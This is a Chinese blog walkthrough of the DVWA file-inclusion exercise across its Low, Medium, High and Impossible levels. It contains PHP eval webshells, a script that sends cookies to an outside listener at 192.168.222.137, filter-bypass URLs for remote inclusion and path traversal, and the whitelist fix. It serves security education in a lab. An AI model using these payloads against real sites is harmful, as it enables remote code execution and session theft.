Loading... # 1、目的 基于白盒测试方法,完成文件包含漏洞利用,学习文件包含漏洞原理,探索文件包含漏洞场景。 ![图片.png](http://47.117.131.13/usr/uploads/2022/04/1938347328.png) # 2、级别 Low 关键代码: index.php: ```php if( isset( $file ) ) include( $file ); else { header( 'Location:?page=include.php' ); exit; } ``` low.php: ```php <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> ``` 关键信息: * 通过 GET 方法传递 page 参数 * 对 page 参数没有任何过滤,直接 include 到页面中 [include](https://www.php.net/manual/zh/function.include.php) 接收一个文件名参数,或一个绝对路径/相对路径参数。当传递路径时,函数严格按照路径寻找文件。代码中对 page 参数没有任何过滤,直接 include 到页面中,明显存在文件包含漏洞。 ## 2.1、本地包含 尝试包含一个不存在的文件 ./no.php: ```html http://localhost/dvwa/vulnerabilities/fi/?page=./no.php ``` 页面报错,证实存在文件包含漏洞,同时把页面的后台路径给暴露了,注意这里是绝对路径,是非常重要的信息: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/1638012700.png) 配合 DVWA 网站的文件上传漏洞,上传好一份一句话木马文件到 http://localhost/dvwa/hackable/uploads/webshell.php。 ```php <?php eval(&_POST['caidao']); ?> ``` 然后尝试使用菜刀进行连接(要先在菜刀中登录网站并更改级别为 Low): ![图片.png](http://47.117.131.13/usr/uploads/2022/04/496159766.png) 执行文件管理成功,说明文件包含漏洞利用成功: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/2692983244.png) 或者不用菜刀,我们直接在浏览器中连接后台 webshell,这样子就无需在菜刀中登录网站生成会话了。 首先我们的 webshell 指令是通过 POST 方法的 caidao 参数指明的,而页面的 url 是 GET 方法,而且只带了一个 page 参数。有两种思路,其一我们将 webshell 也更改为 GET 方法,然后在 url 中带上 caidao 参数;其二我们使用诸如 hackbar 这样的浏览器插件,手动添加 POST 参数发包: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/3396690066.png) 执行成功: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/395411454.png) ## 2.2、远程包含 尝试包含远程文件,在另一台服务器上部署文件 http://192.168.222.137/webshell.txt: ```java <script>alert(document.cookie)</script> ``` 发起攻击: ```html http://localhost/dvwa/vulnerabilities/fi/?page=http://192.168.222.137/webshell.txt ``` 成功弹出网站 cookie,攻击成功,同时也说明网站开启了远程文件包含功能: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/2058579967.png) 更改 webshell.txt 为: ```java <script>new Image().src="http://192.168.222.137:8080/?cookie="+document.cookie;</script> ``` 在恶意服务器 192.168.222.137 开启监听后,成功接收到 cookie,这里的手法其实和 XSS 一致了: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/512545296.png) 更改 webshell.txt 为: ```php <?php eval($_GET['caidao']); ?> ``` 在恶意服务器 192.168.222.137 上发起攻击,执行成功。这样就算不配合文件上传漏洞,也能实现远程任意代码执行了: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/1721845591.png) # 3、级别 Medium 关键代码: ```php <?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\\" ), "", $file ); ?> ``` 相较于级别 Low 改动为: * 删除 page 参数中的 http:// 及 https:// 子串 * 删除 page 参数中的 ../ 及 ..\\ 子串 目的很明显,page 参数不能是网络路径,企图阻止所有远程文件包含请求。也不能通过 .. 来回退路径,企图包含阻止文件上传漏洞上传的文件。其实不能回退,不是很恰当,这样子基本就只能包含同目录下的文件,或者只能使用绝对路径了。 然而 str_replace 有个毛病,它只能在基础的字符串上做一轮搜索替换。于是我们可以通过重新组合 http:// 来绕过。上面我们用到的 url 为: ```html http://localhost/dvwa/vulnerabilities/fi/?page=http://192.168.222.137/webshell.txt ``` 我们在后台下断点,看到经过替换处理,此时路径变更,攻击失效: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/93351681.png) 将 url 更改为: ```html http://localhost/dvwa/vulnerabilities/fi/?page=hhttp://ttp://192.168.222.137/webshell.txt ``` 查看后台数据,替换后变更为,绕过成功: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/2402704525.png) 同样我们通过文件上传漏洞上传一份 webshell.txt: ```php <?php phpinfo(); ?> ``` 然后构造 url 为: ```html http://localhost/dvwa/vulnerabilities/fi/?page=..\..\hackable\uploads\webshell.txt ``` 后台看到经过替换后的文件路径为,..\\..\\ 已经被去掉了,此时相对路径是错误的,自然包含失败: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/2770306799.png) 将 url 更改为: ```html http://localhost/dvwa/vulnerabilities/fi/?page=....\\....\\hackable\uploads\webshell.txt ``` 同样绕过成功: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/1847362543.png) 其次,上面说到在包含不存在的文件时暴露了后台的绝对路径,因此我们也可以直接包含绝对路径,同样也能成功: ```html http://localhost/dvwa/vulnerabilities/fi/?page=C:\phpstudy_pro\WWW\DVWA\hackable\uploads\webshell.txt ``` # 4、级别 High 关键代码: ```php <?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ``` 相较于级别 Medium 改动为: * 包含的文件必须是 file 开头的字符串,或者严格等于 include.php 因为 DVWA 的文件上传漏洞没有办法控制写入目录,因此如果利用文件上传漏洞上传的恶意文件,则包含时必须是路径,不能只是文件名,所以无法等于 include.php。 但是这里的 file 开头的字符串,实则意思是想要通过 file 本地文件传输协议来指定文件路径。利用 file 协议只能表达本地机器上的文件,路径的表达格式为 `file:/// + path`,如示例: ```shell file:///C:\phpstudy_pro\WWW\DVWA\hackable\uploads\webshell.txt ``` 我们平时直接拖曳一个本地文件到浏览器中打开,其实在地址栏显示的就是 file 协议路径: ![图片.png](http://47.117.131.13/usr/uploads/2022/04/2250350654.png) 因此我们直接通过 file 协议来表达我们通过文件上传漏洞上传的后台 webshell 即可,注意这里要用绝对路径: ```html http://localhost/dvwa/vulnerabilities/fi/?page=C:\phpstudy_pro\WWW\DVWA\hackable\uploads\webshell.txt ``` ![图片.png](http://47.117.131.13/usr/uploads/2022/04/50847682.png) 当然,此时远程文件包含肯定是无法成功了。 # 5、级别 Impossible 关键代码: ```php <?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?> ``` 相较于级别 High 改动为: * 严格限定文件为 include.php、file1.php 等 实际上是设定了一份白名单,只匹配文件名,不能是包含目录的路径。我们的文件上传漏洞无法控制写入路径,因此无法绕过该限制。 在预期包含的目标文件并不复杂或非动态生成不可预期时,白名单是一个好的解决方案,但不适用所有场景。 # 6、扩展 ## 6.1、allow_url_fopen 及 allow_url_include 待补充…… # 7、总结 从级别 Low 到级别 Impossible,挫败文件包含漏洞的思路可总结为: * 通过过滤文件路径,限制远程文件包含或限定文件路径只能为文件名 * 设置白名单,可有效挫败文件包含漏洞 最后修改:2022 年 04 月 26 日 12 : 04 AM © 允许规范转载